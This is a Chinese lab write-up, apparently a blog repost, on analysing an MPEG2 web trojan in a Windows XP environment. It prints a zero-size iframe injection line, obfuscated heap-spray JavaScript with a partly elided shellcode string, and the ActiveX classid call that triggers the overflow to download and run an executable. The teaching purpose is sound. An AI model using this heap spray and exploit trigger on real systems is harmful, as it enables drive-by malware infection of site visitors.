zoukankan      html  css  js  c++  java
  • MPEG2网马实验

    实验目的

    了解MPEG2网马的工作原理。

    能分析简单的网马。

    实验原理

    通常被挂马的目标网站是会插入一段代码。比如: <iframe src="/muma.htm"; width="0" height="0" frameborder="0"></iframe> src参数后面的是网页木马的地址。当我们打开这个网站的首页后,会弹出网页木马的页面,这个页面我们是无法看到的,因为我们在代码中设置了弹出页面的窗口长宽各为0。此时木马也已经悄悄下载到本机并运行了。 网马危害非常大,攻击用户也是在极短时间内,作为信息安全的学生,我们必须要掌握分析网马的方法。

    实验内容

    用提供的工具生成MPEG2网马。

    阅读生成的网马的源代码,熟悉其工作原理。

    运行网马,观察生成的效果。

    实验环境描述

    Windows XP操作系统

    MPEG-2 网马生成工具

    实验步骤

    1、打开控制台,进入虚拟环境。

    图片描述

    2、用网马生成器生成网马

    在d:tools51elab5112B目录下找到MPEG-2网马生成器.exe,双击打开。在弹出的对话框中输入你想要下载的地址,点击生成。

    图片描述

    3、阅读木马文件

    首先我们看muma.html,双击muma.html,右键“查看源文件”,可看到其内容如下:

    图片描述

    图片描述

    <script src='darkst.png'></script>

    这段代码就是简单的引用了darkst.png,我们继续分析这个png文件,用文本编辑器打开:

    图片描述

    var appllaa='0';

    var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;

    实际上nndx=“%u9090%u9090”

    var dashell=unescape(nndx+"%u9090%....(省略中间的字符) %u2121%u2121%u2121%u2121%u2121%u2121%u2121%u0021" + "%u6363%u5251%u634c%u5553%u4550");

    dashell里面包含了shellcode

    var headersize=20;

    var omybro=unescape(nndx);

    var slackspace=headersize+dashell.length;

    while(omybro.length<slackspace)

    omybro+=omybro;

    bZmybr=omybro.substring(0,slackspace);

    shuishiMVP=omybro.substring(0,omybro.length-slackspace);

    while(shuishiMVP.length+slackspace<0x30000)

    shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;

    memory=new Array();

    for(x=0;x<300;x++)

    memory[x]=shuishiMVP+dashell;

    以上的代码就是做heapspray,简单点说就是申请大量的堆空间,然后向里面填入nop+shellcode,这样当溢出发生的时候,eip会有很大的几率落入在这些堆中间,从而成功执行shellcode,主要用处就是用来增加溢出成功的几率。

    var myObject=document.createElement('object');

    DivID.appendChild(myObject);

    myObject.width='1';

    myObject.height='1';

    myObject.data='./logo.gif';

    myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

    以上就是溢出发生的原因,这里我们引用了0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'这个ActiveX控件里面的data属性,而这个属性在解析mepg文件的时候存在漏洞,当我们将畸形的logl。Gif文件传给他的时候,会发生溢出,从而造成执行前面的shellcode,去下载我们指定的exe文件并执行。

  • 相关阅读:
    ubuntu下使用golang、qml与ubuntu sdk开发桌面应用 (简单示例)
    Go Revel 学习指南
    Go Revel
    Go Revel
    Go Revel
    Go Revel
    Go Revel
    Go Revel
    Go Revel
    Go Revel
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/13628908.html
Copyright © 2011-2022 走看看